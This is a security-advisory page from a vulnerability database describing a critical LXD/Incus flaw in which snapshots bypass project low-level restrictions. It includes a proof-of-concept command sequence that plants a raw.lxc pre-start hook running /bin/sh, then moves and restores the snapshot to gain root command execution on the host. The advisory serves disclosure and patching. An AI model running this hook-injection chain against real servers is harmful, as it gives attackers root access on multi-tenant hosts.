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Fencer Vulns
critical 9.9

GHSA-47w9-6r3f-938g json

LXD has restricted project bypass leading to arbitrary command execution

published 2026-11-06 2 d ago modified 2026-11-06 2 d ago

cvss
9.9
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

### PoC

``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ```

### Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Patch / fix

CVSS scores

assigned by version score vector
GitHub 3.1 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
go github.com/canonical/lxd
<0.0.0-20260630083100-c5184be310b1
0.0.0-20260630083100-c5184be310b1

Classification

Weakness

References

Sources

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